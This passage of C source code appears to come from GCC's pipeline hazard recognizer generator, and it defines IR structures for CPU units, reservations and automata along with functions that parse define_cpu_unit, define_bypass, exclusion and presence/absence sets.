(reserv_sets_t); static int check_presence_pattern_sets (reserv_sets_t, reserv_sets_t, int); static int check_absence_pattern_sets (reserv_sets_t, reserv_sets_t, int); static arc_t first_out_arc (const_state_t); static arc_t next_out_arc (arc_t); /* Options with the following names can be set up in automata_option construction. Because the strings occur more one time we use the macros. */ #define NO_MINIMIZATION_OPTION "-no-minimization" #define TIME_OPTION "-time" #define STATS_OPTION "-stats" #define V_OPTION "-v" #define W_OPTION "-w" #define NDFA_OPTION "-ndfa" #define PROGRESS_OPTION "-progress" /* The following flags are set up by function `initiate_automaton_gen'. */ /* Make automata with nondeterministic reservation by insns (`-ndfa'). */ static int ndfa_flag; /* Do not make minimization of DFA (`-no-minimization'). */ static int no_minimization_flag; /* Value of this variable is number of automata being generated. The actual number of automata may be less this value if there is not sufficient number of units. This value is defined by argument of option `-split' or by constructions automaton if the value is zero (it is default value of the argument). */ static int split_argument; /* Flag of output time statistics (`-time'). */ static int time_flag; /* Flag of automata statistics (`-stats'). */ static int stats_flag; /* Flag of creation of description file which contains description of result automaton and statistics information (`-v'). */ static int v_flag; /* Flag of output of a progress bar showing how many states were generated so far for automaton being processed (`-progress'). */ static int progress_flag; /* Flag of generating warning instead of error for non-critical errors (`-w'). */ static int w_flag; /* Output file for pipeline hazard recognizer (PHR) being generated. The value is NULL if the file is not defined. */ static FILE *output_file; /* Description file of PHR. The value is NULL if the file is not created. */ static FILE *output_description_file; /* PHR description file name. */ static char *output_description_file_name; /* Value of the following variable is node representing description being processed. This is start point of IR. */ static struct description *description; /* This page contains description of IR structure (nodes). */ enum decl_mode { dm_unit, dm_bypass, dm_automaton, dm_excl, dm_presence, dm_absence, dm_reserv, dm_insn_reserv }; /* This describes define_cpu_unit and define_query_cpu_unit (see file rtl.def). */ struct unit_decl { const char *name; /* NULL if the automaton name is absent. */ const char *automaton_name; /* If the following value is not zero, the cpu unit reservation is described in define_query_cpu_unit. */ char query_p; /* The following fields are defined by checker. */ /* The following field value is nonzero if the unit is used in an regexp. */ char unit_is_used; /* The following field value is order number (0, 1, ...) of given unit. */ int unit_num; /* The following field value is corresponding declaration of automaton which was given in description. If the field value is NULL then automaton in the unit declaration was absent. */ struct automaton_decl *automaton_decl; /* The following field value is maximal cycle number (1, ...) on which given unit occurs in insns. Zero value means that given unit is not used in insns. */ int max_occ_cycle_num; /* The following field value is minimal cycle number (0, ...) on which given unit occurs in insns. -1 value means that given unit is not used in insns. */ int min_occ_cycle_num; /* The following list contains units which conflict with given unit. */ unit_set_el_t excl_list; /* The following list contains patterns which are required to reservation of given unit. */ pattern_set_el_t presence_list; pattern_set_el_t final_presence_list; /* The following list contains patterns which should be not present in reservation for given unit. */ pattern_set_el_t absence_list; pattern_set_el_t final_absence_list; /* The following is used only when `query_p' has nonzero value. This is query number for the unit. */ int query_num; /* The following is the last cycle on which the unit was checked for correct distributions of units to automata in a regexp. */ int last_distribution_check_cycle; /* The following fields are defined by automaton generator. */ /* The following field value is number of the automaton to which given unit belongs. */ int corresponding_automaton_num; /* If the following value is not zero, the cpu unit is present in a `exclusion_set' or in right part of a `presence_set', `final_presence_set', `absence_set', and `final_absence_set'define_query_cpu_unit. */ char in_set_p; }; /* This describes define_bypass (see file rtl.def). */ struct bypass_decl { int latency; const char *out_insn_name; const char *in_insn_name; const char *bypass_guard_name; /* The following fields are defined by checker. */ /* output and input insns of given bypass. */ struct insn_reserv_decl *out_insn_reserv; struct insn_reserv_decl *in_insn_reserv; /* The next bypass for given output insn. */ struct bypass_decl *next; }; /* This describes define_automaton (see file rtl.def). */ struct automaton_decl { const char *name; /* The following fields are defined by automaton generator. */ /* The following field value is nonzero if the automaton is used in an regexp definition. */ char automaton_is_used; /* The following fields are defined by checker. */ /* The following field value is the corresponding automaton. This field is not NULL only if the automaton is present in unit declarations and the automatic partition on automata is not used. */ automaton_t corresponding_automaton; }; /* This describes exclusion relations: exclusion_set (see file rtl.def). */ struct excl_rel_decl { int all_names_num; int first_list_length; char *names [1]; }; /* This describes unit relations: [final_]presence_set or [final_]absence_set (see file rtl.def). */ struct unit_pattern_rel_decl { int final_p; int names_num; int patterns_num; char **names; char ***patterns; }; /* This describes define_reservation (see file rtl.def). */ struct reserv_decl { const char *name; regexp_t regexp; /* The following fields are defined by checker. */ /* The following field value is nonzero if the unit is used in an regexp. */ char reserv_is_used; /* The following field is used to check up cycle in expression definition. */ int loop_pass_num; }; /* This describes define_insn_reservation (see file rtl.def). */ struct insn_reserv_decl { rtx condexp; int default_latency; regexp_t regexp; const char *name; /* The following fields are defined by checker. */ /* The following field value is order number (0, 1, ...) of given insn. */ int insn_num; /* The following field value is list of bypasses in which given insn is output insn. Bypasses with the same input insn stay one after another in the list in the same order as their occurrences in the description but the bypass without a guard stays always the last in a row of bypasses with the same input insn. */ struct bypass_decl *bypass_list; /* The following fields are defined by automaton generator. */ /* The following field is the insn regexp transformed that the regexp has not optional regexp, repetition regexp, and an reservation name (i.e. reservation identifiers are changed by the corresponding regexp) and all alternations are the top level of the regexp. The value can be NULL only if it is special insn `cycle advancing'. */ regexp_t transformed_regexp; /* The following field value is list of arcs marked given insn. The field is used in transformation NDFA -> DFA. */ arc_t arcs_marked_by_insn; /* The two following fields are used during minimization of a finite state automaton. */ /* The field value is number of equivalence class of state into which arc marked by given insn enters from a state (fixed during an automaton minimization). */ int equiv_class_num; /* The following member value is the list to automata which can be changed by the insn issue. */ automata_list_el_t important_automata_list; /* The following member is used to process insn once for output. */ int processed_p; }; /* This contains a declaration mentioned above. */ struct decl { /* What node in the union? */ enum decl_mode mode; pos_t pos; union { struct unit_decl unit; struct bypass_decl bypass; struct automaton_decl automaton; struct excl_rel_decl excl; struct unit_pattern_rel_decl presence; struct unit_pattern_rel_decl absence; struct reserv_decl reserv; struct insn_reserv_decl insn_reserv; } decl; }; /* The following structures represent parsed reservation strings. */ enum regexp_mode { rm_unit, rm_reserv, rm_nothing, rm_sequence, rm_repeat, rm_allof, rm_oneof }; /* Cpu unit in reservation. */ struct unit_regexp { const char *name; unit_decl_t unit_decl; }; /* Define_reservation in a reservation. */ struct reserv_regexp { const char *name; struct reserv_decl *reserv_decl; }; /* Absence of reservation (represented by string `nothing'). */ struct nothing_regexp { /* This used to be empty but ISO C doesn't allow that. */ char unused; }; /* Representation of reservations separated by ',' (see file rtl.def). */ struct sequence_regexp { int regexps_num; regexp_t regexps [1]; }; /* Representation of construction `repeat' (see file rtl.def). */ struct repeat_regexp { int repeat_num; regexp_t regexp; }; /* Representation of reservations separated by '+' (see file rtl.def). */ struct allof_regexp { int regexps_num; regexp_t regexps [1]; }; /* Representation of reservations separated by '|' (see file rtl.def). */ struct oneof_regexp { int regexps_num; regexp_t regexps [1]; }; /* Representation of a reservation string. */ struct regexp { /* What node in the union? */ enum regexp_mode mode; pos_t pos; union { struct unit_regexp unit; struct reserv_regexp reserv; struct nothing_regexp nothing; struct sequence_regexp sequence; struct repeat_regexp repeat; struct allof_regexp allof; struct oneof_regexp oneof; } regexp; }; /* Represents description of pipeline hazard description based on NDFA. */ struct description { int decls_num; /* The following fields are defined by checker. */ /* The following fields values are correspondingly number of all units, query units, and insns in the description. */ int units_num; int query_units_num; int insns_num; /* The following field value is max length (in cycles) of reservations of insns. The field value is defined only for correct programs. */ int max_insn_reserv_cycles; /* The following fields are defined by automaton generator. */ /* The following field value is the first automaton. */ automaton_t first_automaton; /* The following field is created by pipeline hazard parser and contains all declarations. We allocate additional entry for special insn "cycle advancing" which is added by the automaton generator. */ decl_t decls [1]; }; /* The following nodes are created in automaton checker. */ /* The following nodes represent exclusion set for cpu units. Each element is accessed through only one excl_list. */ struct unit_set_el { unit_decl_t unit_decl; unit_set_el_t next_unit_set_el; }; /* The following nodes represent presence or absence pattern for cpu units. Each element is accessed through only one presence_list or absence_list. */ struct pattern_set_el { /* The number of units in unit_decls. */ int units_num; /* The units forming the pattern. */ struct unit_decl **unit_decls; pattern_set_el_t next_pattern_set_el; }; /* The following nodes are created in automaton generator. */ /* The following nodes represent presence or absence pattern for cpu units. Each element is accessed through only one element of unit_presence_set_table or unit_absence_set_table. */ struct pattern_reserv { reserv_sets_t reserv; pattern_reserv_t next_pattern_reserv; }; /* The following node type describes state automaton. The state may be deterministic or non-deterministic. Non-deterministic state has several component states which represent alternative cpu units reservations. The state also is used for describing a deterministic reservation of automaton insn. */ struct state { /* The following member value is nonzero if there is a transition by cycle advancing. */ int new_cycle_p; /* The following field is list of processor unit reservations on each cycle. */ reserv_sets_t reservs; /* The following field is unique number of given state between other states. */ int unique_num; /* The following field value is automaton to which given state belongs. */ automaton_t automaton; /* The following field value is the first arc output from given state. */ arc_t first_out_arc; unsigned int num_out_arcs; /* The following field is used to form NDFA. */ char it_was_placed_in_stack_for_NDFA_forming; /* The following field is used to form DFA. */ char it_was_placed_in_stack_for_DFA_forming; /* The following field is used to transform NDFA to DFA and DFA minimization. The field value is not NULL if the state is a compound state. In this case the value of field `unit_sets_list' is NULL. All states in the list are in the hash table. The list is formed through field `next_sorted_alt_state'. We should support only one level of nesting state. */ alt_state_t component_states; /* The following field is used for passing graph of states. */ int pass_num; /* The list of states belonging to one equivalence class is formed with the aid of the following field. */ state_t next_equiv_class_state; /* The two following fields are used during minimization of a finite state automaton. */ int equiv_class_num_1, equiv_class_num_2; /* The following field is used during minimization of a finite state automaton. The field value is state corresponding to equivalence class to which given state belongs. */ state_t equiv_class_state; unsigned int *presence_signature; /* The following field value is the order number of given state. The states in final DFA is enumerated with the aid of the following field. */ int order_state_num; /* This member is used for passing states for searching minimal delay time. */ int state_pass_num; /* The following member is used to evaluate min issue delay of insn for a state. */ int min_insn_issue_delay; }; /* Automaton arc. */ struct arc { /* The following field refers for the state into which given arc enters. */ state_t to_state; /* The following field describes that the insn issue (with cycle advancing for special insn `cycle advancing' and without cycle advancing for others) makes transition from given state to another given state. */ ainsn_t insn; /* The following field value is the next arc output from the same state. */ arc_t next_out_arc; /* List of arcs marked given insn is formed with the following field. The field is used in transformation NDFA -> DFA. */ arc_t next_arc_marked_by_insn; }; /* The following node type describes a deterministic alternative in non-deterministic state which characterizes cpu unit reservations of automaton insn or which is part of NDFA. */ struct alt_state { /* The following field is a deterministic state which characterizes unit reservations of the instruction. */ state_t state; /* The following field refers to the next state which characterizes unit reservations of the instruction. */ alt_state_t next_alt_state; /* The following field refers to the next state in sorted list. */ alt_state_t next_sorted_alt_state; }; /* The following node type describes insn of automaton. They are labels of FA arcs. */ struct ainsn { /* The following field value is the corresponding insn declaration of description. */ struct insn_reserv_decl *insn_reserv_decl; /* The following field value is the next insn declaration for an automaton. */ ainsn_t next_ainsn; /* The following field is states which characterize automaton unit reservations of the instruction. The value can be NULL only if it is special insn `cycle advancing'. */ alt_state_t alt_states; /* The following field is sorted list of states which characterize automaton unit reservations of the instruction. The value can be NULL only if it is special insn `cycle advancing'. */ alt_state_t sorted_alt_states; /* The following field refers the next automaton insn with the same reservations. */ ainsn_t next_same_reservs_insn; /* The following field is flag of the first automaton insn with the same reservations in the declaration list. Only arcs marked such insn is present in the automaton. This significantly decreases memory requirements especially when several automata are formed. */ char first_insn_with_same_reservs; /* The following member has nonzero value if there is arc from state of the automaton marked by the ainsn. */ char arc_exists_p; /* Cyclic list of insns of an equivalence class is formed with the aid of the following field. */ ainsn_t next_equiv_class_insn; /* The following field value is nonzero if the insn declaration is the first insn declaration with given equivalence number. */ char first_ainsn_with_given_equivalence_num; /* The following field is number of class of equivalence of insns. It is necessary because many insns may be equivalent with the point of view of pipeline hazards. */ int insn_equiv_class_num; /* The following member value is TRUE if there is an arc in the automaton marked by the insn into another state. In other words, the insn can change the state of the automaton. */ int important_p; }; /* The following describes an automaton for PHR. */ struct automaton { /* The following field value is the list of insn declarations for given automaton. */ ainsn_t ainsn_list; /* The following field value is the corresponding automaton declaration. This field is not NULL only if the automatic partition on automata is not used. */ struct automaton_decl *corresponding_automaton_decl; /* The following field value is the next automaton. */ automaton_t next_automaton; /* The following field is start state of FA. There are not unit reservations in the state. */ state_t start_state; /* The following field value is number of equivalence classes of insns (see field `insn_equiv_class_num' in `insn_reserv_decl'). */ int insn_equiv_classes_num; /* The following field value is number of states of final DFA. */ int achieved_states_num; /* The following field value is the order number (0, 1, ...) of given automaton. */ int automaton_order_num; /* The following fields contain statistics information about building automaton. */ int NDFA_states_num, DFA_states_num; /* The following field value is defined only if minimization of DFA is used. */ int minimal_DFA_states_num; int NDFA_arcs_num, DFA_arcs_num; /* The following field value is defined only if minimization of DFA is used. */ int minimal_DFA_arcs_num; /* The following member refers for two table state x ainsn -> int. ??? Above sentence is incomprehensible. */ state_ainsn_table_t trans_table; /* The following member value is maximal value of min issue delay for insns of the automaton. */ int max_min_delay; /* Usually min issue delay is small and we can place several (2, 4, 8) elements in one vector element. So the compression factor can be 1 (no compression), 2, 4, 8. */ int min_issue_delay_table_compression_factor; /* Total number of locked states in this automaton. */ int locked_states; }; /* The following is the element of the list of automata. */ struct automata_list_el { /* The automaton itself. */ automaton_t automaton; /* The next automata set element. */ automata_list_el_t next_automata_list_el; }; /* The following structure describes a table state X ainsn -> int(>= 0). */ struct state_ainsn_table { /* Automaton to which given table belongs. */ automaton_t automaton; /* The following tree vectors for comb vector implementation of the table. */ vla_hwint_t comb_vect; vla_hwint_t check_vect; vla_hwint_t base_vect; /* This is simple implementation of the table. */ vla_hwint_t full_vect; /* Minimal and maximal values of the previous vectors. */ int min_comb_vect_el_value, max_comb_vect_el_value; int min_base_vect_el_value, max_base_vect_el_value; }; /* Macros to access members of unions. Use only them for access to union members of declarations and regexps. */ #if defined ENABLE_CHECKING && (GCC_VERSION >= 2007) #define DECL_UNIT(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_unit) \ decl_mode_check_failed (_decl->mode, "dm_unit", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.unit; })) #define DECL_BYPASS(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_bypass) \ decl_mode_check_failed (_decl->mode, "dm_bypass", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.bypass; })) #define DECL_AUTOMATON(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_automaton) \ decl_mode_check_failed (_decl->mode, "dm_automaton", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.automaton; })) #define DECL_EXCL(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_excl) \ decl_mode_check_failed (_decl->mode, "dm_excl", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.excl; })) #define DECL_PRESENCE(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_presence) \ decl_mode_check_failed (_decl->mode, "dm_presence", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.presence; })) #define DECL_ABSENCE(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_absence) \ decl_mode_check_failed (_decl->mode, "dm_absence", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.absence; })) #define DECL_RESERV(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_reserv) \ decl_mode_check_failed (_decl->mode, "dm_reserv", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.reserv; })) #define DECL_INSN_RESERV(d) __extension__ \ (({ __typeof (d) const _decl = (d); \ if (_decl->mode != dm_insn_reserv) \ decl_mode_check_failed (_decl->mode, "dm_insn_reserv", \ __FILE__, __LINE__, __FUNCTION__); \ &(_decl)->decl.insn_reserv; })) static const char *decl_name (enum decl_mode); static void decl_mode_check_failed (enum decl_mode, const char *, const char *, int, const char *) ATTRIBUTE_NORETURN; /* Return string representation of declaration mode MODE. */ static const char * decl_name (enum decl_mode mode) { static char str [100]; if (mode == dm_unit) return "dm_unit"; else if (mode == dm_bypass) return "dm_bypass"; else if (mode == dm_automaton) return "dm_automaton"; else if (mode == dm_excl) return "dm_excl"; else if (mode == dm_presence) return "dm_presence"; else if (mode == dm_absence) return "dm_absence"; else if (mode == dm_reserv) return "dm_reserv"; else if (mode == dm_insn_reserv) return "dm_insn_reserv"; else sprintf (str, "unknown (%d)", (int) mode); return str; } /* The function prints message about unexpected declaration and finish the program. */ static void decl_mode_check_failed (enum decl_mode mode, const char *expected_mode_str, const char *file, int line, const char *func) { fprintf (stderr, "\n%s: %d: error in %s: DECL check: expected decl %s, have %s\n", file, line, func, expected_mode_str, decl_name (mode)); exit (1); } #define REGEXP_UNIT(r) __extension__ \ (({ struct regexp *const _regexp = (r); \ if (_regexp->mode != rm_unit) \ regexp_mode_check_failed (_regexp->mode, "rm_unit", \ __FILE__, __LINE__, __FUNCTION__); \ &(_regexp)->regexp.unit; })) #define REGEXP_RESERV(r) __extension__ \ (({ struct regexp *const _regexp = (r); \ if (_regexp->mode != rm_reserv) \ regexp_mode_check_failed (_regexp->mode, "rm_reserv", \ __FILE__, __LINE__, __FUNCTION__); \ &(_regexp)->regexp.reserv; })) #define REGEXP_SEQUENCE(r) __extension__ \ (({ struct regexp *const _regexp = (r); \ if (_regexp->mode != rm_sequence) \ regexp_mode_check_failed (_regexp->mode, "rm_sequence", \ __FILE__, __LINE__, __FUNCTION__); \ &(_regexp)->regexp.sequence; })) #define REGEXP_REPEAT(r) __extension__ \ (({ struct regexp *const _regexp = (r); \ if (_regexp->mode != rm_repeat) \ regexp_mode_check_failed (_regexp->mode, "rm_repeat", \ __FILE__, __LINE__, __FUNCTION__); \ &(_regexp)->regexp.repeat; })) #define REGEXP_ALLOF(r) __extension__ \ (({ struct regexp *const _regexp = (r); \ if (_regexp->mode != rm_allof) \ regexp_mode_check_failed (_regexp->mode, "rm_allof", \ __FILE__, __LINE__, __FUNCTION__); \ &(_regexp)->regexp.allof; })) #define REGEXP_ONEOF(r) __extension__ \ (({ struct regexp *const _regexp = (r); \ if (_regexp->mode != rm_oneof) \ regexp_mode_check_failed (_regexp->mode, "rm_oneof", \ __FILE__, __LINE__, __FUNCTION__); \ &(_regexp)->regexp.oneof; })) static const char *regexp_name (enum regexp_mode); static void regexp_mode_check_failed (enum regexp_mode, const char *, const char *, int, const char *) ATTRIBUTE_NORETURN; /* Return string representation of regexp mode MODE. */ static const char * regexp_name (enum regexp_mode mode) { switch (mode) { case rm_unit: return "rm_unit"; case rm_reserv: return "rm_reserv"; case rm_nothing: return "rm_nothing"; case rm_sequence: return "rm_sequence"; case rm_repeat: return "rm_repeat"; case rm_allof: return "rm_allof"; case rm_oneof: return "rm_oneof"; default: gcc_unreachable (); } } /* The function prints message about unexpected regexp and finish the program. */ static void regexp_mode_check_failed (enum regexp_mode mode, const char *expected_mode_str, const char *file, int line, const char *func) { fprintf (stderr, "\n%s: %d: error in %s: REGEXP check: expected decl %s, have %s\n", file, line, func, expected_mode_str, regexp_name (mode)); exit (1); } #else /* #if defined ENABLE_RTL_CHECKING && (GCC_VERSION >= 2007) */ #define DECL_UNIT(d) (&(d)->decl.unit) #define DECL_BYPASS(d) (&(d)->decl.bypass) #define DECL_AUTOMATON(d) (&(d)->decl.automaton) #define DECL_EXCL(d) (&(d)->decl.excl) #define DECL_PRESENCE(d) (&(d)->decl.presence) #define DECL_ABSENCE(d) (&(d)->decl.absence) #define DECL_RESERV(d) (&(d)->decl.reserv) #define DECL_INSN_RESERV(d) (&(d)->decl.insn_reserv) #define REGEXP_UNIT(r) (&(r)->regexp.unit) #define REGEXP_RESERV(r) (&(r)->regexp.reserv) #define REGEXP_SEQUENCE(r) (&(r)->regexp.sequence) #define REGEXP_REPEAT(r) (&(r)->regexp.repeat) #define REGEXP_ALLOF(r) (&(r)->regexp.allof) #define REGEXP_ONEOF(r) (&(r)->regexp.oneof) #endif /* #if defined ENABLE_RTL_CHECKING && (GCC_VERSION >= 2007) */ #define XCREATENODE(T) ((T *) create_node (sizeof (T))) #define XCREATENODEVEC(T, N) ((T *) create_node (sizeof (T) * (N))) #define XCREATENODEVAR(T, S) ((T *) create_node ((S))) #define XCOPYNODE(T, P) ((T *) copy_node ((P), sizeof (T))) #define XCOPYNODEVEC(T, P, N) ((T *) copy_node ((P), sizeof (T) * (N))) #define XCOPYNODEVAR(T, P, S) ((T *) copy_node ((P), (S))) /* Create IR structure (node). */ static void * create_node (size_t size) { void *result; obstack_blank (&irp, size); result = obstack_base (&irp); obstack_finish (&irp); /* Default values of members are NULL and zero. */ memset (result, 0, size); return result; } /* Copy IR structure (node). */ static void * copy_node (const void *from, size_t size) { void *const result = create_node (size); memcpy (result, from, size); return result; } /* The function checks that NAME does not contain quotes (`"'). */ static const char * check_name (const char * name, pos_t pos ATTRIBUTE_UNUSED) { const char *str; for (str = name; *str != '\0'; str++) if (*str == '\"') error ("Name `%s' contains quotes", name); return name; } /* Pointers to all declarations during IR generation are stored in the following. */ static VEC(decl_t,heap) *decls; /* Given a pointer to a (char *) and a separator, return an alloc'ed string containing the next separated element, taking parentheses into account if PAR_FLAG has nonzero value. Advance the pointer to after the string scanned, or the end-of-string. Return NULL if at end of string. */ static char * next_sep_el (const char **pstr, int sep, int par_flag) { char *out_str; const char *p; int pars_num; int n_spaces; /* Remove leading whitespaces. */ while (ISSPACE ((int) **pstr)) (*pstr)++; if (**pstr == '\0') return NULL; n_spaces = 0; for (pars_num = 0, p = *pstr; *p != '\0'; p++) { if (par_flag && *p == '(') pars_num++; else if (par_flag && *p == ')') pars_num--; else if (pars_num == 0 && *p == sep) break; if (pars_num == 0 && ISSPACE ((int) *p)) n_spaces++; else { for (; n_spaces != 0; n_spaces--) obstack_1grow (&irp, p [-n_spaces]); obstack_1grow (&irp, *p); } } obstack_1grow (&irp, '\0'); out_str = obstack_base (&irp); obstack_finish (&irp); *pstr = p; if (**pstr == sep) (*pstr)++; return out_str; } /* Given a string and a separator, return the number of separated elements in it, taking parentheses into account if PAR_FLAG has nonzero value. Return 0 for the null string, -1 if parentheses is not balanced. */ static int n_sep_els (const char *s, int sep, int par_flag) { int n; int pars_num; if (*s == '\0') return 0; for (pars_num = 0, n = 1; *s; s++) if (par_flag && *s == '(') pars_num++; else if (par_flag && *s == ')') pars_num--; else if (pars_num == 0 && *s == sep) n++; return (pars_num != 0 ? -1 : n); } /* Given a string and a separator, return vector of strings which are elements in the string and number of elements through els_num. Take parentheses into account if PAREN_P has nonzero value. The function also inserts the end marker NULL at the end of vector. Return 0 for the null string, -1 if parentheses are not balanced. */ static char ** get_str_vect (const char *str, int *els_num, int sep, int paren_p) { int i; char **vect; const char **pstr; char *trail; *els_num = n_sep_els (str, sep, paren_p); if (*els_num <= 0) return NULL; obstack_blank (&irp, sizeof (char *) * (*els_num + 1)); vect = (char **) obstack_base (&irp); obstack_finish (&irp); pstr = &str; for (i = 0; i < *els_num; i++) vect [i] = next_sep_el (pstr, sep, paren_p); trail = next_sep_el (pstr, sep, paren_p); gcc_assert (!trail); vect [i] = NULL; return vect; } /* Process a DEFINE_CPU_UNIT. This gives information about a unit contained in CPU. We fill a struct unit_decl with information used later by `expand_automata'. */ static void gen_cpu_unit (rtx def) { decl_t decl; char **str_cpu_units; int vect_length; int i; str_cpu_units = get_str_vect (XSTR (def, 0), &vect_length, ',', FALSE); if (str_cpu_units == NULL) fatal ("invalid string `%s' in define_cpu_unit", XSTR (def, 0)); for (i = 0; i < vect_length; i++) { decl = XCREATENODE (struct decl); decl->mode = dm_unit; decl->pos = 0; DECL_UNIT (decl)->name = check_name (str_cpu_units [i], decl->pos); DECL_UNIT (decl)->automaton_name = XSTR (def, 1); DECL_UNIT (decl)->query_p = 0; DECL_UNIT (decl)->min_occ_cycle_num = -1; DECL_UNIT (decl)->in_set_p = 0; VEC_safe_push (decl_t,heap, decls, decl); } } /* Process a DEFINE_QUERY_CPU_UNIT. This gives information about a unit contained in CPU. We fill a struct unit_decl with information used later by `expand_automata'. */ static void gen_query_cpu_unit (rtx def) { decl_t decl; char **str_cpu_units; int vect_length; int i; str_cpu_units = get_str_vect (XSTR (def, 0), &vect_length, ',', FALSE); if (str_cpu_units == NULL) fatal ("invalid string `%s' in define_query_cpu_unit", XSTR (def, 0)); for (i = 0; i < vect_length; i++) { decl = XCREATENODE (struct decl); decl->mode = dm_unit; decl->pos = 0; DECL_UNIT (decl)->name = check_name (str_cpu_units [i], decl->pos); DECL_UNIT (decl)->automaton_name = XSTR (def, 1); DECL_UNIT (decl)->query_p = 1; VEC_safe_push (decl_t,heap, decls, decl); } } /* Process a DEFINE_BYPASS. This gives information about a unit contained in the CPU. We fill in a struct bypass_decl with information used later by `expand_automata'. */ static void gen_bypass (rtx def) { decl_t decl; char **out_insns; int out_length; char **in_insns; int in_length; int i, j; out_insns = get_str_vect (XSTR (def, 1), &out_length, ',', FALSE); if (out_insns == NULL) fatal ("invalid string `%s' in define_bypass", XSTR (def, 1)); in_insns = get_str_vect (XSTR (def, 2), &in_length, ',', FALSE); if (in_insns == NULL) fatal ("invalid string `%s' in define_bypass", XSTR (def, 2)); for (i = 0; i < out_length; i++) for (j = 0; j < in_length; j++) { decl = XCREATENODE (struct decl); decl->mode = dm_bypass; decl->pos = 0; DECL_BYPASS (decl)->latency = XINT (def, 0); DECL_BYPASS (decl)->out_insn_name = out_insns [i]; DECL_BYPASS (decl)->in_insn_name = in_insns [j]; DECL_BYPASS (decl)->bypass_guard_name = XSTR (def, 3); VEC_safe_push (decl_t,heap, decls, decl); } } /* Process an EXCLUSION_SET. This gives information about a cpu unit conflicts. We fill a struct excl_rel_decl (excl) with information used later by `expand_automata'. */ static void gen_excl_set (rtx def) { decl_t decl; char **first_str_cpu_units; char **second_str_cpu_units; int first_vect_length; int length; int i; first_str_cpu_units = get_str_vect (XSTR (def, 0), &first_vect_length, ',', FALSE); if (first_str_cpu_units == NULL) fatal ("invalid first string `%s' in exclusion_set", XSTR (def, 0)); second_str_cpu_units = get_str_vect (XSTR (def, 1), &length, ',', FALSE); if (second_str_cpu_units == NULL) fatal ("invalid second string `%s' in exclusion_set", XSTR (def, 1)); length += first_vect_length; decl = XCREATENODEVAR (struct decl, sizeof (struct decl) + (length - 1) * sizeof (char *)); decl->mode = dm_excl; decl->pos = 0; DECL_EXCL (decl)->all_names_num = length; DECL_EXCL (decl)->first_list_length = first_vect_length; for (i = 0; i < length; i++) if (i < first_vect_length) DECL_EXCL (decl)->names [i] = first_str_cpu_units [i]; else DECL_EXCL (decl)->names [i] = second_str_cpu_units [i - first_vect_length]; VEC_safe_push (decl_t,heap, decls, decl); } /* Process a PRESENCE_SET, a FINAL_PRESENCE_SET, an ABSENCE_SET, FINAL_ABSENCE_SET (it is depended on PRESENCE_P and FINAL_P). This gives information about a cpu unit reservation requirements. We fill a struct unit_pattern_rel_decl with information used later by `expand_automata'. */ static void gen_presence_absence_set (rtx def, int presence_p, int final_p) { decl_t decl; char **str_cpu_units; char **str_pattern_lists; char ***str_patterns; int cpu_units_length; int length; int patterns_length; int i; str_cpu_units = get_str_vect (XSTR (def, 0), &cpu_units_length, ',', FALSE); if (str_cpu_units == NULL) fatal ((presence_p ? (final_p ? "invalid first string `%s' in final_presence_set" : "invalid first string `%s' in presence_set") : (final_p ? "invalid first string `%s' in final_absence_set" : "invalid first string `%s' in absence_set")), XSTR (def, 0)); str_pattern_lists = get_str_vect (XSTR (def, 1), &patterns_length, ',', FALSE); if (str_pattern_lists == NULL) fatal ((presence_p ? (final_p ? "invalid second string `%s' in final_presence_set" : "invalid second string `%s' in presence_set") : (final_p ? "invalid second string `%s' in final_absence_set" : "invalid second string `%s' in absence_set")), XSTR (def, 1)); str_patterns = XOBNEWVEC (&irp, char **, patterns_length); for (i = 0; i < patterns_length; i++) { str_patterns [i] = get_str_vect (str_pattern_lists [i], &length, ' ', FALSE); gcc_assert (str_patterns [i]); } decl = XCREATENODE (struct decl); decl->pos = 0; if (presence_p) { decl->mode = dm_presence; DECL_PRESENCE (decl)->names_num = cpu_units_length; DECL_PRESENCE (decl)->names = str_cpu_units; DECL_PRESENCE (decl)->patterns = str_patterns; DECL_PRESENCE (decl)->patterns_num = patterns_length; DECL_PRESENCE (decl)->final_p = final_p; } else { decl->mode = dm_absence; DECL_ABSENCE (decl)->names_num = cpu_units_length; DECL_ABSENCE (decl)->names = str_cpu_units; DECL_ABSENCE (decl)->patterns = str_patterns; DECL_ABSENCE (decl)->patterns_num = patterns_length; DECL_ABSENCE (decl)->final_p = final_p; } VEC_safe_push (decl_t,heap, decls, decl); } /* Process a PRESENCE_SET. This gives information about a cpu unit reservation requirements. We fill a struct unit_pattern_rel_decl (presence) with information used later by `expand_automata'. */ static void gen_presence_set (rtx def) { gen_presence_absence_set (def, TRUE, FALSE); } /* Process a FINAL_PRESENCE_SET. This gives information about a cpu unit reservation requirements. We fill a struct unit_pattern_rel_decl (presence) with information used later by `expand_automata'. */ static void gen_final_presence_set (rtx def) { gen_presence_absence_set (def, TRUE, TRUE); } /* Process an ABSENCE_SET. This gives information about a cpu unit reservation requirements. We fill a struct unit_pattern_rel_decl (absence) with information used later by `expand_automata'. */ static void gen_absence_set (rtx def) { gen_presence_absence_set (def, FALSE, FALSE); } /* Process a FINAL_ABSENCE_SET. This gives information about a cpu unit reservation requirements. We fill a struct unit_pattern_rel_decl (absence) with information used later by `expand_automata'. */ static void gen_final_absence_set (rtx def) { gen_presence_absence_set (def, FALSE, TRUE); } /* Process a DEFINE_AUTOMATON. This gives information about a finite state automaton used for recognizing pipeline hazards. We fill a struct automaton_decl with information used later by `expand_automata'. */ static void gen_automaton (rtx def) { decl_t decl; char **str_automata; int vect_length; int i; str_automata = get_str_vect (XSTR (def, 0), &vect_length, ',', FALSE); if (str_automata == NULL) fatal ("invalid string `%s' in define_automaton", XSTR 